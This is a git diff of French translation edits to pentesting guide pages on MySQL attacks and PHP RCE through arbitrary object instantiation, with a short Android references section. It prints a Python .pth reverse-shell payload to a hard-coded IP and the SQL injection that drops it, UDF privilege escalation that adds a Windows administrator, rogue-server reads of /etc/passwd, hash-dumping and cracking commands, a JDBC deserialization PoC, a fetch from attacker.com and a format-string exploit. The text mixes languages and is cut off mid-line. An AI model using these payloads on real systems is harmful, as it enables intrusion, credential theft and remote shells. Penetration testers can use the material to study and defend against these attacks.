l'analyse de malware. +AndroL4b est une machine virtuelle de sécurité Android basée sur ubuntu-mate ; elle inclut une collection des derniers frameworks, tutoriels et labs provenant de différents passionnés et chercheurs en sécurité pour le reverse engineering et l'analyse de malware. ## Références - [https://owasp.org/www-project-mobile-app-security/](https://owasp.org/www-project-mobile-app-security/) - [https://appsecwiki.com/#/](https://appsecwiki.com/#/) C'est une excellente liste de ressources -- [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Android quick course +- [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Cours rapide Android - [https://manifestsecurity.com/android-application-security/](https://manifestsecurity.com/android-application-security/) - [https://github.com/Ralireza/Android-Security-Teryaagh](https://github.com/Ralireza/Android-Security-Teryaagh) - [https://www.youtube.com/watch?v=PMKnPaGWxtg\&feature=youtu.be\&ab_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec) @@ -816,7 +818,7 @@ AndroL4b est une virtual machine de sécurité Android basée sur ubuntu-mate qu - [SSLPinDetect GitHub](https://github.com/aancw/SSLPinDetect) - [smali-sslpin-patterns](https://github.com/aancw/smali-sslpin-patterns) -## À essayer +## À tester - [https://www.vegabird.com/yaazhini/](https://www.vegabird.com/yaazhini/) - [https://github.com/abhi-r3v0/Adhrit](https://github.com/abhi-r3v0/Adhrit) diff --git a/src/network-services-pentesting/pentesting-mysql.md b/src/network-services-pentesting/pentesting-mysql.md index 1aa264347..936fced79 100644 --- a/src/network-services-pentesting/pentesting-mysql.md +++ b/src/network-services-pentesting/pentesting-mysql.md @@ -4,7 +4,7 @@ ## **Informations de base** -**MySQL** peut être décrit comme un open source **Relational Database Management System (RDBMS)** disponible gratuitement. Il fonctionne avec le **Structured Query Language (SQL)**, permettant la gestion et la manipulation des bases de données. +**MySQL** peut être décrit comme un **Système de Gestion de Base de Données Relationnelle (RDBMS)** open source disponible gratuitement. Il fonctionne avec le **langage de requêtes structuré (SQL)**, permettant la gestion et la manipulation des bases de données. **Port par défaut :** 3306 ``` @@ -24,7 +24,7 @@ mysql -h -u root@localhost ``` ## External Enumeration -Certaines actions d'enumeration nécessitent des credentials valides. +Certaines actions d'enumeration nécessitent des credentials valides ```bash nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 msf> use auxiliary/scanner/mysql/mysql_version @@ -103,7 +103,7 @@ SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCT ``` Vous pouvez consulter dans la documentation la signification de chaque privilège : [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv_execute) -### MySQL File RCE +### RCE de fichier MySQL {{#ref}} @@ -112,28 +112,28 @@ Vous pouvez consulter dans la documentation la signification de chaque privilèg #### INTO OUTFILE → Python `.pth` RCE (hooks de configuration spécifiques au site) -Abusant du classique `INTO OUTFILE` primitive, il est possible d'obtenir *arbitrary code execution* sur des cibles qui exécutent ensuite des scripts **Python**. +En abusant du classique primitive `INTO OUTFILE`, il est possible d'obtenir une *exécution de code arbitraire* sur des cibles qui exécutent ensuite des scripts **Python**. -1. Utilisez `INTO OUTFILE` pour déposer un fichier **`.pth`** personnalisé dans n'importe quel répertoire chargé automatiquement par `site.py` (ex. `.../lib/python3.10/site-packages/`). -2. Le fichier `.pth` peut contenir une *seule ligne* commençant par `import ` suivie de code Python arbitraire qui sera exécuté à chaque démarrage de l'interpréteur. -3. Lorsque l'interpréteur est exécuté implicitement par un script CGI (par exemple `/cgi-bin/ml-draw.py` avec shebang `#!/bin/python`), le payload est exécuté avec les mêmes privilèges que le processus du serveur web (FortiWeb l'a exécuté en tant que **root** → full pre-auth RCE). +1. Utiliser `INTO OUTFILE` pour déposer un **fichier `.pth`** personnalisé dans n'importe quel répertoire chargé automatiquement par `site.py` (par ex. `.../lib/python3.10/site-packages/`). +2. Le fichier `.pth` peut contenir une *seule ligne* commençant par `import ` suivie d'un code Python arbitraire qui sera exécuté à chaque démarrage de l'interpréteur. +3. Lorsque l'interpréteur est implicitement exécuté par un script CGI (par exemple `/cgi-bin/ml-draw.py` avec shebang `#!/bin/python`) le payload est exécuté avec les mêmes privilèges que le processus du serveur web (FortiWeb l'a exécuté en tant que **root** → full pre-auth RCE). -Exemple de payload `.pth` (ligne unique, aucun espace ne peut être inclus dans le payload SQL final, donc hex/`UNHEX()` ou concaténation de chaînes peut être nécessaire): +Example `.pth` payload (single line, no spaces can be included in the final SQL payload, so hex/`UNHEX()` or string concatenation may be required): ```python import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True) ``` -Exemple de création du fichier via une requête **UNION** (les espaces remplacés par `/**/` pour contourner un filtre d'espace `sscanf("%128s")` et maintenir la longueur totale ≤128 octets): +Exemple de création du fichier via une requête **UNION** (les caractères d'espace remplacés par `/**/` pour contourner un filtre d'espaces `sscanf("%128s")` et garder la longueur totale ≤128 octets) : ```sql '/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth' ``` -Limitations importantes et contournements : +Important limitations & bypasses: * `INTO OUTFILE` **ne peut pas écraser** les fichiers existants ; choisissez un nouveau nom de fichier. -* Le chemin de fichier est résolu **par rapport au CWD de MySQL**, donc préfixer par `../../` permet de raccourcir le chemin et de contourner les restrictions sur les chemins absolus. -* Si l'entrée de l'attaquant est extraite avec `%128s` (ou similaire), tout espace tronquera le payload ; utilisez les séquences de commentaires MySQL `/**/` ou `/*!*/` pour remplacer les espaces. -* L'utilisateur MySQL exécutant la requête a besoin du privilège `FILE`, mais dans de nombreux appliances (par ex. FortiWeb) le service s'exécute en tant que **root**, donnant un accès en écriture presque partout. +* Le chemin du fichier est résolu **par rapport au CWD de MySQL**, donc préfixer avec `../../` permet de raccourcir le chemin et de contourner les restrictions de chemin absolu. +* Si l'entrée de l'attaquant est extraite avec `%128s` (ou similaire) tout espace tronquera le payload ; utilisez les séquences de commentaire MySQL `/**/` ou `/*!*/` pour remplacer les espaces. +* L'utilisateur MySQL exécutant la requête a besoin du privilège `FILE`, mais sur de nombreux appliances (p. ex. FortiWeb) le service tourne en tant que **root**, donnant un accès en écriture presque partout. -Après avoir déposé le fichier `.pth`, il suffit de requêter n'importe quel CGI géré par l'interpréteur python pour obtenir l'exécution de code : +Après avoir déposé le `.pth`, il suffit de solliciter n'importe quel CGI géré par l'interpréteur python pour obtenir code execution: ``` GET /cgi-bin/ml-draw.py HTTP/1.1 Host: @@ -149,8 +149,8 @@ uid=0(root) gid=0(root) groups=0(root) ## MySQL lecture arbitraire de fichiers par le client -En réalité, lorsque vous essayez de **load data local into a table** le **contenu d'un fichier**, le serveur MySQL ou MariaDB demande au **client de le lire** et d'envoyer son contenu. **Donc, si vous pouvez altérer un mysql client pour qu'il se connecte à votre propre MySQL server, vous pouvez lire des fichiers arbitraires.**\ -Veuillez noter que ceci est le comportement en utilisant : +En pratique, lorsque vous utilisez **load data local into a table** pour charger le **contenu d'un fichier**, le serveur MySQL ou MariaDB demande au **client de le lire** et d'envoyer ce contenu. **Alors, si vous pouvez manipuler un mysql client pour qu'il se connecte à votre propre serveur MySQL, vous pouvez lire des fichiers arbitraires.**\ +Veuillez noter que ce comportement se produit en utilisant: ```bash load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; ``` @@ -160,9 +160,9 @@ mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement ``` -**PoC initial:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\ -**Dans cet article vous trouverez une description complète de l'attaque et même comment l'étendre à RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\ -**Vous trouverez ici un aperçu de l'attaque:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/) +**PoC initial :** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\ +**Dans cet article vous pouvez voir une description complète de l'attaque et même comment l'étendre en RCE :** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\ +**Ici vous trouverez un aperçu de l'attaque :** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/) ​ @@ -172,23 +172,23 @@ ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv opti ### Utilisateur Mysql -Ce sera très intéressant si mysql s'exécute en tant que **root**: +Ce sera très intéressant si mysql tourne en tant que **root**: ```bash cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user" systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1 ``` #### Paramètres dangereux de mysqld.cnf -Dans la configuration des services MySQL, divers paramètres sont utilisés pour définir son fonctionnement et ses mesures de sécurité : +Dans la configuration des services MySQL, plusieurs paramètres sont utilisés pour définir son fonctionnement et ses mesures de sécurité : -- Le paramètre **`user`** est utilisé pour désigner l'utilisateur sous lequel le service MySQL s'exécutera. -- **`password`** est appliqué pour définir le mot de passe associé à l'utilisateur MySQL. +- Le paramètre **`user`** sert à désigner l'utilisateur sous lequel le service MySQL sera exécuté. +- **`password`** est utilisé pour définir le mot de passe associé à l'utilisateur MySQL. - **`admin_address`** spécifie l'adresse IP qui écoute les connexions TCP/IP sur l'interface réseau administrative. -- La variable **`debug`** indique les configurations de débogage présentes, incluant des informations sensibles dans les journaux. -- **`sql_warnings`** contrôle si des chaînes d'information sont générées pour les instructions INSERT à une seule ligne lorsque des avertissements surviennent, contenant des données sensibles dans les journaux. -- Avec **`secure_file_priv`**, la portée des opérations d'importation et d'exportation de données est restreinte pour améliorer la sécurité. +- La variable **`debug`** indique les configurations de débogage en cours, pouvant inclure des informations sensibles dans les logs. +- **`sql_warnings`** contrôle si des chaînes d'information sont générées pour les instructions INSERT à ligne unique lorsqu'apparaissent des avertissements, ce qui peut introduire des données sensibles dans les logs. +- Avec **`secure_file_priv`**, la portée des opérations d'import/export de données est restreinte pour renforcer la sécurité. -### Escalade de privilèges +### Privilege escalation ```bash # Get current user (an all users) privileges and hashes use mysql; @@ -208,16 +208,16 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys ``` ### Privilege Escalation via library -Si le **mysql server is running as root** (ou un autre utilisateur plus privilégié) vous pouvez le faire exécuter des commandes. Pour cela, vous devez utiliser des **user defined functions**. Et pour créer une user defined vous aurez besoin d'une **bibliothèque** pour le système d'exploitation qui exécute mysql. +Si le **mysql server is running as root** (ou un autre utilisateur plus privilégié), vous pouvez le faire exécuter des commandes. Pour cela, vous devez utiliser des **user defined functions**. Et pour en créer une, vous aurez besoin d'une **library** pour l'OS qui exécute mysql. -La bibliothèque malveillante à utiliser peut être trouvée dans sqlmap et dans metasploit en lançant **`locate "*lib_mysqludf_sys*"`**. Les fichiers **`.so`** sont des bibliothèques **linux** et les **`.dll`** sont celles de **Windows**, choisissez celle dont vous avez besoin. +La library malveillante à utiliser peut se trouver dans sqlmap et metasploit en lançant **`locate "*lib_mysqludf_sys*"`**. Les fichiers **`.so`** sont des bibliothèques **linux** et les **`.dll`** sont celles de **Windows** ; choisissez celle dont vous avez besoin. -Si vous n'avez pas ces bibliothèques, vous pouvez soit les rechercher, soit télécharger ce [**linux C code**](https://www.exploit-db.com/exploits/1518) et le compiler sur la machine vulnérable linux : +Si vous **n'avez pas** ces libraries, vous pouvez soit **les chercher**, soit télécharger ce [**linux C code**](https://www.exploit-db.com/exploits/1518) et **le compiler sur la machine linux vulnérable** : ```bash gcc -g -c raptor_udf2.c gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc ``` -Maintenant que vous avez la bibliothèque, connectez-vous dans Mysql en tant qu'utilisateur privilégié (root ?) et suivez les étapes suivantes : +Maintenant que vous avez la bibliothèque, connectez-vous dans le Mysql en tant qu'utilisateur privilégié (root?) et suivez les étapes suivantes : #### Linux ```sql @@ -251,30 +251,30 @@ CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll'; SELECT sys_exec("net user npn npn12345678 /add"); SELECT sys_exec("net localgroup Administrators npn /add"); ``` -#### Astuce Windows: créer des répertoires avec NTFS ADS depuis SQL +#### Astuce Windows : créer des répertoires avec NTFS ADS depuis SQL -Sur NTFS, vous pouvez forcer la création d'un répertoire en utilisant un flux de données alternatif même lorsqu'il n'existe qu'une primitive d'écriture de fichier. Si la chaîne UDF classique attend un répertoire `plugin` mais qu'il n'existe pas et que `@@plugin_dir` est inconnu ou verrouillé, vous pouvez le créer d'abord avec `::$INDEX_ALLOCATION`: +Sur NTFS, vous pouvez forcer la création de répertoires en utilisant un flux de données alternatif (ADS) même lorsque seule une primitive d'écriture de fichier existe. Si la classique UDF chain attend un répertoire `plugin` mais qu'il n'existe pas et que `@@plugin_dir` est inconnu ou verrouillé, vous pouvez le créer d'abord avec `::$INDEX_ALLOCATION`: ```sql SELECT 1 INTO OUTFILE 'C:\\MySQL\\lib\\plugin::$INDEX_ALLOCATION'; -- After this, `C:\\MySQL\\lib\\plugin` exists as a directory ``` -Cela transforme l'utilisation limitée de `SELECT ... INTO OUTFILE` en une primitive plus complète sur les stacks Windows en créant la structure de dossiers nécessaire pour les UDF drops. +Cela transforme le `SELECT ... INTO OUTFILE` limité en une primitive plus complète sur les stacks Windows en créant la structure de dossiers nécessaire pour le dépôt d'UDF. ### Extraction des identifiants MySQL depuis des fichiers -Dans _/etc/mysql/debian.cnf_ vous pouvez trouver le **mot de passe en clair** de l'utilisateur **debian-sys-maint**. +Inside _/etc/mysql/debian.cnf_ you can find the **plain-text password** of the user **debian-sys-maint** ```bash cat /etc/mysql/debian.cnf ``` Vous pouvez **utiliser ces identifiants pour vous connecter à la base de données mysql**. -Dans le fichier : _/var/lib/mysql/mysql/user.MYD_ vous pouvez trouver **tous les hashes des utilisateurs MySQL** (ceux que vous pouvez extraire de mysql.user inside the database)_._ +Dans le fichier : _/var/lib/mysql/mysql/user.MYD_ vous pouvez trouver **tous les hashes des utilisateurs MySQL** (ceux que vous pouvez extraire depuis mysql.user dans la base de données)_._ Vous pouvez les extraire en faisant : ```bash grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password" ``` -### Activation de la journalisation +### Activer la journalisation Vous pouvez activer la journalisation des requêtes mysql dans `/etc/mysql/my.cnf` en décommentant les lignes suivantes : @@ -297,14 +297,14 @@ Fichiers de configuration - /var/lib/mysql/my.cnf - \~/.my.cnf - /etc/my.cnf -- Command History +- Historique des commandes - \~/.mysql.history -- Log Files +- Fichiers de log - connections.log - update.log - common.log -## Bases/Tables MySQL par défaut +## Bases de données/tables MySQL par défaut {{#tabs}} {{#tab name="information_schema"}} @@ -655,36 +655,36 @@ Note: sourced from https://github.com/carlospolop/legion Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit' ``` -## 2023-2025 Highlights (new) +## 2023-2025 Faits marquants (nouveau) ### JDBC `propertiesTransform` deserialization (CVE-2023-21971) -À partir de Connector/J <= 8.0.32, un attaquant qui peut influencer la **JDBC URL** (par exemple dans un logiciel tiers qui demande une chaîne de connexion) peut demander le chargement de classes arbitraires côté *client* via le paramètre `propertiesTransform`. Si un gadget présent sur le class-path est chargeable, cela aboutit à **remote code execution in the context of the JDBC client** (pre-auth, because no valid credentials are required). Un PoC minimal ressemble à : +À partir de Connector/J <= 8.0.32, un attaquant pouvant influencer la **JDBC URL** (par exemple dans un logiciel tiers qui demande une connection string) peut demander le chargement de classes arbitraires côté *client* via le paramètre `propertiesTransform`. Si un gadget présent sur le class-path peut être chargé, cela entraîne une **remote code execution in the context of the JDBC client** (pre-auth, because no valid credentials are required). Un PoC minimal ressemble à : ```java jdbc:mysql://:3306/test?user=root&password=root&propertiesTransform=com.evil.Evil ``` -Exécuter `Evil.class` peut être aussi simple que de le placer sur le class-path de l'application vulnérable ou de laisser un serveur MySQL rogue envoyer un objet sérialisé malveillant. Le problème a été corrigé dans Connector/J 8.0.33 – mettez à jour le driver ou définissez explicitement `propertiesTransform` dans une liste d'autorisation. -(See Snyk write-up for details) +Exécuter `Evil.class` peut être aussi simple que de le placer sur le class-path de l'application vulnérable ou de laisser un rogue MySQL server envoyer un objet sérialisé malveillant. Le problème a été corrigé dans Connector/J 8.0.33 – mettez à jour le driver ou définissez explicitement `propertiesTransform` dans une allow-list. +(Voir Snyk write-up pour les détails) ### Rogue / Fake MySQL server attacks against JDBC clients -Plusieurs outils open-source implémentent un protocole MySQL *partiel* afin d'attaquer des clients JDBC qui se connectent vers l'extérieur : +Several open-source tools implement a *partial* MySQL protocol in order to attack JDBC clients that connect outwards: -* **mysql-fake-server** (Java, prend en charge la lecture de fichiers et les exploits de désérialisation) -* **rogue_mysql_server** (Python, capacités similaires) +* **mysql-fake-server** (Java, supports file read and deserialization exploits) +* **rogue_mysql_server** (Python, similar capabilities) -Scénarios d'attaque typiques : +Typical attack paths: 1. L'application victime charge `mysql-connector-j` avec `allowLoadLocalInfile=true` ou `autoDeserialize=true`. -2. L'attaquant contrôle le DNS / l'entrée hosts pour que le nom d'hôte de la DB pointe vers une machine sous son contrôle. -3. Le serveur malveillant répond par des paquets craftés qui déclenchent soit une lecture de fichier arbitraire via `LOCAL INFILE`, soit une désérialisation Java → RCE. +2. L'attaquant contrôle le DNS / l'entrée host de sorte que le nom d'hôte de la DB se résolve vers une machine sous son contrôle. +3. Le serveur malveillant répond avec des paquets spécialement conçus qui déclenchent soit `LOCAL INFILE` (arbitrary file read), soit une Java deserialization → RCE. -Exemple de one-liner pour démarrer un faux serveur (Java) : +Example one-liner to start a fake server (Java): ```bash java -jar fake-mysql-cli.jar -p 3306 # from 4ra1n/mysql-fake-server ``` Ensuite, pointez l'application victime vers `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true` et lisez `/etc/passwd` en encodant le nom de fichier en base64 dans le champ *username* (`fileread_/etc/passwd` → `base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`). -### Craquage des hashes `caching_sha2_password` -MySQL ≥ 8.0 stocke les hashes de mot de passe au format **`$mysql-sha2$`** (SHA-256). Hashcat (mode **21100**) et John-the-Ripper (`--format=mysql-sha2`) supportent le cracking hors ligne depuis 2023. Dump la colonne `authentication_string` et alimentez-la directement : +### Cracking `caching_sha2_password` hashes +MySQL ≥ 8.0 stocke les password hashes sous **`$mysql-sha2$`** (SHA-256). Hashcat (mode **21100**) et John-the-Ripper (`--format=mysql-sha2`) prennent en charge le offline cracking depuis 2023. Dump the `authentication_string` column et alimentez-la directement : ```bash # extract hashes echo "$mysql-sha2$AABBCC…" > hashes.txt @@ -693,12 +693,12 @@ hashcat -a 0 -m 21100 hashes.txt /path/to/wordlist # John the Ripper john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist ``` -### Checklist de durcissement (2025) -• Définir **`LOCAL_INFILE=0`** et **`--secure-file-priv=/var/empty`** pour désactiver la plupart des primitives de lecture/écriture de fichiers. -• Retirer le privilège **`FILE`** des comptes applicatifs. +### Liste de durcissement (2025) +• Set **`LOCAL_INFILE=0`** and **`--secure-file-priv=/var/empty`** to kill most file-read/write primitives. +• Retirer le **`FILE`** privilege des comptes applicatifs. • Sur Connector/J, définir `allowLoadLocalInfile=false`, `allowUrlInLocalInfile=false`, `autoDeserialize=false`, `propertiesTransform=` (vide). -• Désactiver les plugins d'authentification inutilisés et exiger TLS (`require_secure_transport = ON`). -• Surveiller les instructions `CREATE FUNCTION`, `INSTALL COMPONENT`, `INTO OUTFILE`, `LOAD DATA LOCAL` et les instructions `SET GLOBAL` soudaines. +• Désactiver les plugins d'authentification inutilisés et **exiger TLS** (`require_secure_transport = ON`). +• Surveiller les `CREATE FUNCTION`, `INSTALL COMPONENT`, `INTO OUTFILE`, `LOAD DATA LOCAL` et les instructions `SET GLOBAL` soudaines. --- diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md index a17742bba..1b8319de9 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md @@ -1,18 +1,18 @@ -# PHP - RCE en abusant de la création d'objets : new $_GET["a"]($_GET["b"]) +# PHP - RCE abusing object creation: new $_GET["a"]($_GET["b"]) {{#include ../../../banners/hacktricks-training.md}} -Ceci est essentiellement un résumé de [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) +This is basically a summary of [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) ## Introduction -La création de nouveaux objets arbitraires, tels que `new $_GET["a"]($_GET["a"])`, peut conduire à Remote Code Execution (RCE), comme détaillé dans un [**writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/). Ce document met en avant différentes stratégies pour atteindre une RCE. +La création de nouveaux objets arbitraires, comme `new $_GET["a"]($_GET["a"])`, peut conduire à Remote Code Execution (RCE), comme détaillé dans un [**writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/). Ce document met en lumière différentes stratégies pour obtenir une RCE. ## RCE via classes personnalisées ou autoloading -La syntaxe `new $a($b)` est utilisée pour instancier un objet où **`$a`** représente le nom de la classe et **`$b`** est le premier argument passé au constructeur. Ces variables peuvent provenir d'entrées utilisateur comme GET/POST, où elles peuvent être des chaînes ou des tableaux, ou de JSON, où elles peuvent se présenter sous d'autres types. +La syntaxe `new $a($b)` est utilisée pour instancier un objet où **`$a`** représente le nom de la classe et **`$b`** est le premier argument passé au constructeur. Ces variables peuvent provenir d'entrées utilisateur comme GET/POST, où elles peuvent être strings ou arrays, ou de JSON, où elles peuvent apparaître sous d'autres types. -Considérez l'extrait de code ci‑dessous : +Considérez l'extrait de code ci-dessous: ```php class App { function __construct ($cmd) { @@ -31,9 +31,9 @@ $b = $_GET['b']; new $a($b); ``` -Dans cet exemple, assigner `$a` à `App` ou `App2` et `$b` à une commande système (par exemple, `uname -a`) entraîne l'exécution de cette commande. +Dans cet exemple, définir `$a` sur `App` ou `App2` et `$b` sur une commande système (par ex., `uname -a`) entraîne l'exécution de cette commande. -**Autoloading functions** peuvent être exploitées si aucune de ces classes n'est directement accessible. Ces fonctions chargent automatiquement des classes depuis des fichiers lorsque nécessaire et sont définies en utilisant `spl_autoload_register` ou `__autoload` : +**Les fonctions d'autochargement** peuvent être exploitées si aucune de ces classes n'est directement accessible. Ces fonctions chargent automatiquement des classes depuis des fichiers lorsque nécessaire et sont définies en utilisant `spl_autoload_register` ou `__autoload` : ```php spl_autoload_register(function ($class_name) { include './../classes/' . $class_name . '.php'; @@ -47,13 +47,13 @@ spl_autoload_register(); ``` Le comportement de l'autoloading varie selon les versions de PHP, offrant différentes possibilités de RCE. -## RCE via des classes intégrées +## RCE via classes intégrées -Faute de classes personnalisées ou d'autoloaders, **built-in PHP classes** peuvent suffire pour obtenir une RCE. Le nombre de ces classes varie entre 100 et 200, selon la version de PHP et les extensions. Elles peuvent être listées en utilisant `get_declared_classes()`. +En l'absence de classes personnalisées ou d'autoloaders, **les classes PHP intégrées** peuvent suffire pour obtenir une RCE. Le nombre de ces classes varie entre 100 et 200, selon la version de PHP et les extensions. Elles peuvent être listées avec `get_declared_classes()`. -Les constructeurs intéressants peuvent être identifiés via la reflection API, comme montré dans l'exemple suivant et le lien [https://3v4l.org/2JEGF]. +Les constructeurs intéressants peuvent être identifiés via l'API de reflection, comme montré dans l'exemple suivant et le lien [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF). -**Les possibilités de RCE via des méthodes spécifiques incluent :** +**RCE via des méthodes spécifiques comprend :** ### **SSRF + Phar Deserialization** @@ -61,57 +61,56 @@ La classe `SplFileObject` permet le SSRF via son constructeur, autorisant des co ```php new SplFileObject('http://attacker.com/'); ``` -SSRF peut conduire à des deserialization attacks dans les versions de PHP antérieures à 8.0 en utilisant le protocole Phar. +SSRF peut conduire à des attaques de désérialisation dans les versions de PHP antérieures à 8.0 en utilisant le protocole Phar. ### **Exploiter les PDOs** -Le constructeur de la classe PDO permet des connexions aux bases de données via des chaînes DSN, pouvant potentiellement permettre la création de fichiers ou d'autres interactions: +Le constructeur de la classe PDO permet des connexions aux bases de données via des chaînes DSN, pouvant potentiellement permettre la création de fichiers ou d'autres interactions : ```php new PDO("sqlite:/tmp/test.txt") ``` ### **SoapClient/SimpleXMLElement XXE** -Les versions de PHP jusqu'à 5.3.22 et 5.4.12 étaient susceptibles aux attaques XXE via les constructeurs `SoapClient` et `SimpleXMLElement`, selon la version de libxml2. +Versions de PHP jusqu'à 5.3.22 et 5.4.12 étaient susceptibles d'attaques XXE via les constructeurs `SoapClient` et `SimpleXMLElement`, en fonction de la version de libxml2. ## RCE via Imagick Extension -Dans l'analyse des **dépendances** d'un projet, il a été découvert que **Imagick** pouvait être exploité pour l'**exécution de commandes** en instanciant de nouveaux objets. Cela offre une opportunité d'exploiter des vulnérabilités. +Lors de l'analyse des **dépendances d'un projet**, il a été découvert que **Imagick** pouvait être exploité pour une **exécution de commandes** en instanciant de nouveaux objets. Cela présente une opportunité d'exploiter des vulnérabilités. ### VID parser -La capacité du parser VID à écrire du contenu vers n'importe quel chemin spécifié du système de fichiers a été identifiée. Cela pourrait permettre le placement d'un web shell PHP dans un répertoire accessible via le web, obtenant ainsi une Remote Code Execution (RCE). +La capacité du VID parser à écrire du contenu vers n'importe quel chemin spécifié dans le système de fichiers a été identifiée. Cela pourrait conduire au placement d'un PHP shell dans un répertoire accessible depuis le web, aboutissant à une Remote Code Execution (RCE). #### VID Parser + File Upload -Il est noté que PHP stocke temporairement les fichiers uploadés dans `/tmp/phpXXXXXX`. Le parser VID d'Imagick, utilisant le protocole **msl**, peut gérer des caractères génériques dans les chemins de fichiers, facilitant le transfert du fichier temporaire vers un emplacement choisi. Cette méthode offre une approche supplémentaire pour obtenir l'écriture arbitraire de fichiers dans le système de fichiers. +Il est noté que PHP stocke temporairement les fichiers uploadés dans /tmp/phpXXXXXX. Le VID parser d'Imagick, utilisant le protocole **msl**, peut gérer les wildcards dans les chemins de fichiers, facilitant le transfert du fichier temporaire vers un emplacement choisi. Cette méthode offre une approche supplémentaire pour obtenir une écriture de fichier arbitraire dans le système de fichiers. ### PHP Crash + Brute Force -Une méthode décrite dans le [**original writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) consiste à uploader des fichiers qui provoquent le crash du serveur avant leur suppression. En brute-forceant le nom du fichier temporaire, il devient possible pour Imagick d'exécuter du code PHP arbitraire. Cependant, cette technique s'est avérée efficace uniquement sur une version obsolète d'ImageMagick. +A method described in the [**original writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) involves uploading files that trigger a server crash before deletion. By brute-forcing the name of the temporary file, it becomes possible for Imagick to execute arbitrary PHP code. However, this technique was found to be effective only in an outdated version of ImageMagick. ## Format-string in class-name resolution (PHP 7.0.0 Bug #71105) -Lorsque l'entrée utilisateur contrôle le nom de la classe (par ex. `new $_GET['model']()`), PHP 7.0.0 a introduit un bug transitoire lors du refactoring de `Throwable` où le moteur traitait par erreur le nom de la classe comme une chaîne de format pour printf pendant la résolution. Cela permet les primitives classiques de style printf à l'intérieur de PHP : des leaks avec `%p`, le contrôle du compteur d'écriture via des spécificateurs de largeur, et des écritures arbitraires avec `%n` contre des pointeurs en processus (par exemple, des entrées GOT sur les builds ELF). +Lorsqu'une entrée utilisateur contrôle le nom de classe (par ex., `new $_GET['model']()`), PHP 7.0.0 a introduit un bug transitoire lors du refactor de `Throwable` où le moteur traitait par erreur le nom de la classe comme une chaîne de format printf lors de la résolution. Cela permet les primitives classiques de style printf à l'intérieur de PHP : leaks avec `%p`, contrôle du compteur d'écriture avec des spécificateurs de largeur, et écritures arbitraires avec `%n` contre des pointeurs en processus (par exemple, les GOT entries sur les builds ELF). -Exemple minimal reproductible vulnérable: +Minimal repro vulnerable pattern: ```php d%$n` pour réaliser l'écrasement partiel. +- Fonctionne uniquement sur PHP 7.0.0 (Bug [#71105](https://bugs.php.net/bug.php?id=71105)) ; corrigé dans les versions suivantes. Gravité : critique si une instanciation de classe arbitraire est possible. +- Les payloads typiques enchaînent de nombreux `%p` pour parcourir la stack, puis `%.d%$n` pour 